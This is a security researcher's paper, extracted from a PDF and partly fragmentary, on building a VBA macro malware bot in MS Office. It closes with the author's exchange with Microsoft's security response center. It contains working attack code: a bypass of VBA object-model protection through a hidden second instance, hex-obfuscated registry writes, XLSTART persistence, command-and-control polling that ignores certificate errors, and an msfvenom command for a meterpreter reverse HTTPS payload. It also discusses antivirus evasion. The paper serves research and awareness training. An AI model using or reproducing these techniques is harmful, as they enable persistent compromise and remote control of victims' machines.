My VBA Bot
My VBA Bot
Note: Malware mechanisms notions and programming knowledge are required to fully
understand this paper.
WARNING: Using any software or script to steal money, damage goods, or spy on people is often
illegal and always wrong. The material present here is for learning purpose (in fact there a some
stuff which can be very useful to a VBA developer!). I am not responsible for what people would
do with the material presented below. As usual with this kind of subject, I try to give explanation
and source code without giving easy access to script kiddies.
Summary
1. Introduction........................................................................................................................... 3
1.1.
1.2.
2.2.
2.3.
2.4.
2.5.
3. Obfuscation ......................................................................................................................... 10
3.1.
3.2.
3.3.
Other ............................................................................................................................ 10
3.4.
Persistence ................................................................................................................... 12
4.2.
4.3.
4.4.
4.5.
Download/upload ........................................................................................................ 15
4.6.
4.7.
4.8.
5. Conclusion ........................................................................................................................... 17
6. ANNEX: My exchanges with Microsoft Security Response Center ..................................... 18
1. Introduction
1.1. Why do you do stuff like that?
6 months ago I didnt have a clue on how MS Office VBA worked. In fact I did not even know that
MS Office documents where just ZIP archive! As other members of CERTs I noticed the revival of
VBA malware these past years, especially used to drop ransomwares. To better understand and
for the fun, I decided to give a try and create my own VBA malware, as well as dissecting existing
ones.
Another reason I did it is I needed nice demonstrator to provide in my security awareness session.
For that I wanted to be sure to bypass Anti-Virus software and show why Office documents can
be really dangerous!
Note that if you are interested into Anti-virus bypass, I explained several techniques using C in
http://www.sevagas.com/?Bypass-Antivirus-Dynamic-Analysis
In this paper I am not going to explain VBA forensics, Office document dissection is already
described in a lot of papers. I will instead present parts of offensive techniques which can be used
in VBA to demonstrate how dangerous it is.
As Microsoft security wrote to me If a user enables a malicious macro, then they have already
been compromised, I want to be sure people know why
Auto-Open
When the document is open, the VBA will automatically decode and write a VBS script or binary
to the filesystem and execute it.
In my case, I wanted to stay in VBA, so that I would not have to implement evasion for the
VBS/binary payload. Staying in VBA also allows to evade Application Whitelisting solutions which
are very bad at handling macros. The third reason is that I stay in the memory of Office document
which was already scanned so no more risk of AV detection.
This is the architecture I wanted to implement:
Self decode
Auto-Open
VBA Macro
Note that I used Base 64 encoding for my tests but it is also possible to use real encryption. In
my case, simple base 64 encoding was enough to bypass all AV I tested.
5
Modifying the VBOM value in process memory (but probably spot by AV)
Simulate keywords press in VBA to enable checkbox (painful and not sure it works)
Modifying VBOM and restart in another process (The one I used)
The third way could be exploited and is not something new. A POC using a third party VBS script
is described in https://blogs.msdn.microsoft.com/cristib/2012/02/29/vba-how-toprogrammatically-enable-access-to-the-vba-object-model-using-macros/
Instead of VBS, I used the capability to open another instance of an APP from the VBA code, this
allows me to avoid writing a script on the filesystem. Here is how it works:
Auto-Open
Exit macro
VBOM : 0
VBOM : 0
Malicious payload
Finally, the function used to self-open in another instance of MS Office application. It creates a
new Application object and load the current document in it. Also note that the new instance is
configured to be invisible.
Private Sub SelfOpenInAnotherInstance()
On Error GoTo Erreur
Dim FileName As String
#If product = "Word" Then
'Open new Word instance
Dim objWord As Word.Application
Set objWord = CreateObject("Word.Application")
FileName = ThisDocument.FullName
'Open document in new Word instance
objWord.Documents.Open FileName:=FileName, ReadOnly:=True, Visible:=False
#ElseIf product = "Excel" Then
'Open new Excel instance
Dim objExcel As Excel.Application
Set objExcel = CreateObject("Excel.Application")
FileName = ThisWorkbook.FullName
'Open workbook in new Excel instance
objExcel.Workbooks.Open FileName:=FileName
objExcel.Visible = False
#End If
Exit Sub
Erreur:
MsgBox "Error in SelfOpenInAnotherInstance"
End Sub
Now all you have to do is configure your AutoOpen or Workbook_Open function to check if VBOM
access is enabled and trigger the exploit if not. It can also be useful to check it you are running
in a visible or non-visible instance.
3. Obfuscation
Most VBA malware rely on some layer of obfuscation to attempt to bypass AV and to slow down
forensic analysis. Independently of the complete macro encoding, I was curious to see how
normal obfuscation works and if it is enough to bypass AV detection.
3.1. Hide strings
It is very common for malware to encode or encrypt string one way or another. Personally I
applied two obfuscation mechanism to strings. Random splitting and hex encoding. So that for
example from
Set wsh = CreateObject("WScript.Shell")
We get
Set wsh = CreateObject(HexToStr ("575363726970") & HexToStr ("742e5368656c6c"))
Every string is split in two, in a random manner. The & char is used in VBA to concatenate two
strings. The strings are also hex encoded and will be decoded at runtime before concatenation.
We get
Private Sub zfddgtedlpbn(suvbulgssymb As Integer)
Dim jbzaldkpiknp As Object
3.3. Other
Other classic obfuscation schemes consists to remove all comments (obvious!) and remove all
indentation space (and anything which can helps nice reading of the code!).
10
--obfuscate --mask-
Here is the obfuscated result for the SetVBOMKey function described in previous section Bypass
VBOM implementation
Private Sub zfddgtedlpbn(suvbulgssymb As Integer)
Dim jbzaldkpiknp As Object
Dim xihydzhakfat As String
Set jbzaldkpiknp = CreateObject(bkmtrtfijcvh("575363726970") &
bkmtrtfijcvh("742e5368656c6c"))
If Application.Name Like bkmtrtfijcvh("4d6963726f736f667420576f") & bkmtrtfijcvh("7264")
Then xihydzhakfat =
bkmtrtfijcvh("484b45595f43555252454e545f555345525c536f6674776172655c4d6963726f736f66745c4f
66666963") & bkmtrtfijcvh("655c") & Application.Version &
bkmtrtfijcvh("5c576f72645c53656375726974795c41636365737356") & bkmtrtfijcvh("424f4d")
ElseIf Application.Name Like bkmtrtfijcvh("4d6963726f736f66742045786365") &
bkmtrtfijcvh("6c") Then
xihydzhakfat =
bkmtrtfijcvh("484b45595f43555252454e545f555345525c536f6674776172655c4d6963726f736f66745c4f
6666") & bkmtrtfijcvh("6963655c") & Application.Version &
bkmtrtfijcvh("5c457863656c5c536563") & bkmtrtfijcvh("75726974795c41636365737356424f4d")
End If
jbzaldkpiknp.RegWrite xihydzhakfat, suvbulgssymb, bkmtrtfijcvh("5245475f") &
bkmtrtfijcvh("44574f5244")
End Sub
I tested several obfuscation mechanisms on several malicious VBA code (download and execute,
meterpreter shellcode, etc.). I found out that it can be useful to bypass some AV but not all.
Depending on the malicious code you want to hide, some AV recognition patterns are very
difficult to block. Self-decoding VBA is the only easy way I found to generate fully undetectable
code.
11
4.1. Persistence
Since the goal is to write a complete VBA bot, the first thing is to make it persistent over reboot.
I could have done it the usual way, setting MS office command line execution in one of the
Software\Microsoft\Windows\CurrentVersion\Run registry key, however there is a much funnier
way to achieve persistence when using Excel.
When MS Excel is started, it will automatically run files in %appdata\Microsoft\Excel\XLSTART
folder. This means even when running a macro-less XLSX (non-macro) file, it will still run the auto
open function of any Excel macro compatible file in XLSTART path . Also, it is a way to achieve
(pseudo) persistence without being admin of the machine!
This semi-persistence method is as old as macro Virus but a lot of people are not aware of it
nowadays. With this method, the bot will be started as soon as user opens any Excel file!
'Check if started from XLSTART and if not persist application using (does not work for
word as template has to be imported)
Sub checkPersistance()
Dim MacroSec As Integer
Dim currentPath As String
Dim startPath, savedFile As String
startPath = Application.StartupPath 'XLstart
currentPath = ThisWorkbook.Path
Application.DisplayAlerts = False
'Check if started from XLstart
If UCase(startPath) <> UCase(currentPath) Then
savedFile = startPath & Application.PathSeparator & "start"
'We save the workbook in start folder
ThisWorkbook.SaveAs savedFile, xlOpenXMLWorkbookMacroEnabled
Else
'We started from XLstart; lets hide!
Application.Visible = False
End If
12
Application.DisplayAlerts = True
End Sub
Note: This does not work with MS Word as only word templates are automatically run from
start path and word templates must be manually added to documents.
13
objHTTP.Option(4) = 13056 'Ignore cert errors because self signed cert on C&C
objHTTP.Open "POST", URL, False
objHTTP.SetRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)"
objHTTP.SetRequestHeader "Content-type", "application/x-www-form-urlencoded"
objHTTP.Send(data)
HttpPostData = objHTTP.ResponseText
End Function
The difficult part is background regular communication. It is a real nightmare to find a way to
perform silent recurrent operations in VBA. Multithreading is not available and Sleep like
functions will completely freeze all Excel instance meaning the bot will be quickly detected by the
user.
I finally found a way to achieve discrete recurrent operation using Application.OnTime scheduler
as you can see below:
Sub Main()
Dim msg As String
IDLE = 30 'Wait 30 sec between each request
'Regularly send requests to C&C server, process them and send responses
Application.OnTime DateAdd("s", IDLE, Now()), "Main" 'Use ThisWorkbook.Main to call
if in workbook instead of module
msg = SendRequest
If msg <> "NA" Then
msg = ProcessInstruction(msg)
SendResponse msg
End If
End Sub
This is a bit tricky to use, it is equivalent to a while loop except the waiting time is not spend
during macro execution. Here the main function will executed by scheduler every 30 seconds. The
main macro is called, it scheduled itself, it processes C&C instructions, and exit the macro.
14
For much more details intel on remote host, including installed security patches, use the
systeminfo command using function described in Command line execution
4.5. Download/upload
I will not provide here the file upload/download/execute functions since they are really easy to
find on the Internet or on any MS Office malware you can dissect out there.
15
For shellcode injection in memory we are interested by the functions CreateThread, VirtualAlloc,
and RtlMoveMemory from kernel32 DLL.
A nice example of VBA shellcode injection is available in Metasploit using the VBA output format
of msfvenom
Example: We generate a VBA script playing reverse https shellcode to host 192.168.3.3 (32 bits
platform)
msfvenom --platform Windows -p windows/meterpreter/reverse_https LHOST=192.168.3.3 -f
vba > meterpreter_reverse_https_x86.vba
I let the reader try it by himself and have a look at the generated code.
For a VBA bot, the shellcode could be downloaded and passed to a dedicated shellcode execution
function. I chose another way, I implemented instead download and injection mechanism for
any VBA file. See section below!
Note 1: This function will only work if you can access VB Object Model ( Bypass VBOM protection)
Note 2: VBA files generated by msfvenom need some modification to be directly injected in a VBA
module. First the lines contain too much code line breaks (the _ at end of line). Also the auto
start function must be cleaned and replace by a main function.
16
5. Conclusion
This dive into malicious VBA helped me to understand how it can be dangerous and why VBA
should be never be enabled (or by fully aware and trained users). I also realized a lot of macro
malwares out there are not advanced and pretty lame copy past of each others code.
Now for those who are just interested in the writing a bot learning I dont recommend to start
with VBA. It is really twisted, with no multithreading, miscellaneous error description, no real
developer environment, and lots of side effects In fact I was 4 times faster to write a Python bot
with more features (and compatible for both Linux and Windows)!
Feel free to write to me if you have any questions. Ways to contact me are available on:
http://www.sevagas.com/?_Emeric-Nasi_
The easiest is to write at emeric.nasi[at]sevagas.com or my twitter account
https://twitter.com/EmericNasi
As usual, I will probably not answer to emails if I cannot link the senders to a real identity,
especially if they concern malware or exploit writing.
17
Hello,
Thank you for contacting the Microsoft Security Response Center (MSRC). We responded to your
report the day it was submitted. This report requires the user to either already have been
compromised or accept the warning prompts and run or enable code from a malicious document.
For an in-depth discussion of what constitutes a product vulnerability please see the following:
"Definition of a Security Vulnerability"
<https://technet.microsoft.com/library/cc751383.aspx>
Again, we appreciate your report.
Regards,
MSRC
--------------------------------------------------------------------------------------------OK thanks for this fast answer,
I think in my case we break the "security boundary" of the product.
The user consents indeed to play macro but he doesn't agree to enable access to VB project
modification.
As stated by
https://support.office.com/en-gb/article/Change-macro-security-settings-in-Excel-a97c09d2c082-46b8-b19f-e8621e8fe373
18
"Trust access to the VBA project object model: This setting is for developers and is used to
deliberately lock out or allow programmatic access to the VBA object model from any Automation
client. In other words, it provides a security option for code that is written to automate an Office
program and programmatically manipulate the Microsoft Visual Basic for Applications (VBA)
environment and object model. This is a per user and per application setting, and denies access
by default. This security option makes it more difficult for unauthorized programs to build "selfreplicating" code that can harm end-user systems. For any Automation client to be able to access
the VBA object model programmatically, the user running the code must explicitly grant access.
To turn on access, select the check box."
So it breaks what you state to be a "security option" to your customers.
That is what I think could have been the vulnerability, though you are right, if user doesn't accept
the macro warning prompt, nothing will happen.
Maybe then your documentation should precise "Trust access to VB project" option is a
protection against mistakes but not a security feature.
Best regards,
Emeric
------------------------------------------------------------------------------------------------------Hello,
Thank you for contacting the Microsoft Security Response Center (MSRC). If a user enables a
malicious macro, then they have already been compromised, hence the security warning
prompting them before enabling macros. This would not meet the bar for security servicing.
For an in-depth discussion of what constitutes a product vulnerability please see the following:
"Definition of a Security Vulnerability"
<https://technet.microsoft.com/library/cc751383.aspx>
Again, we appreciate your report.
Regards,
MSRC
19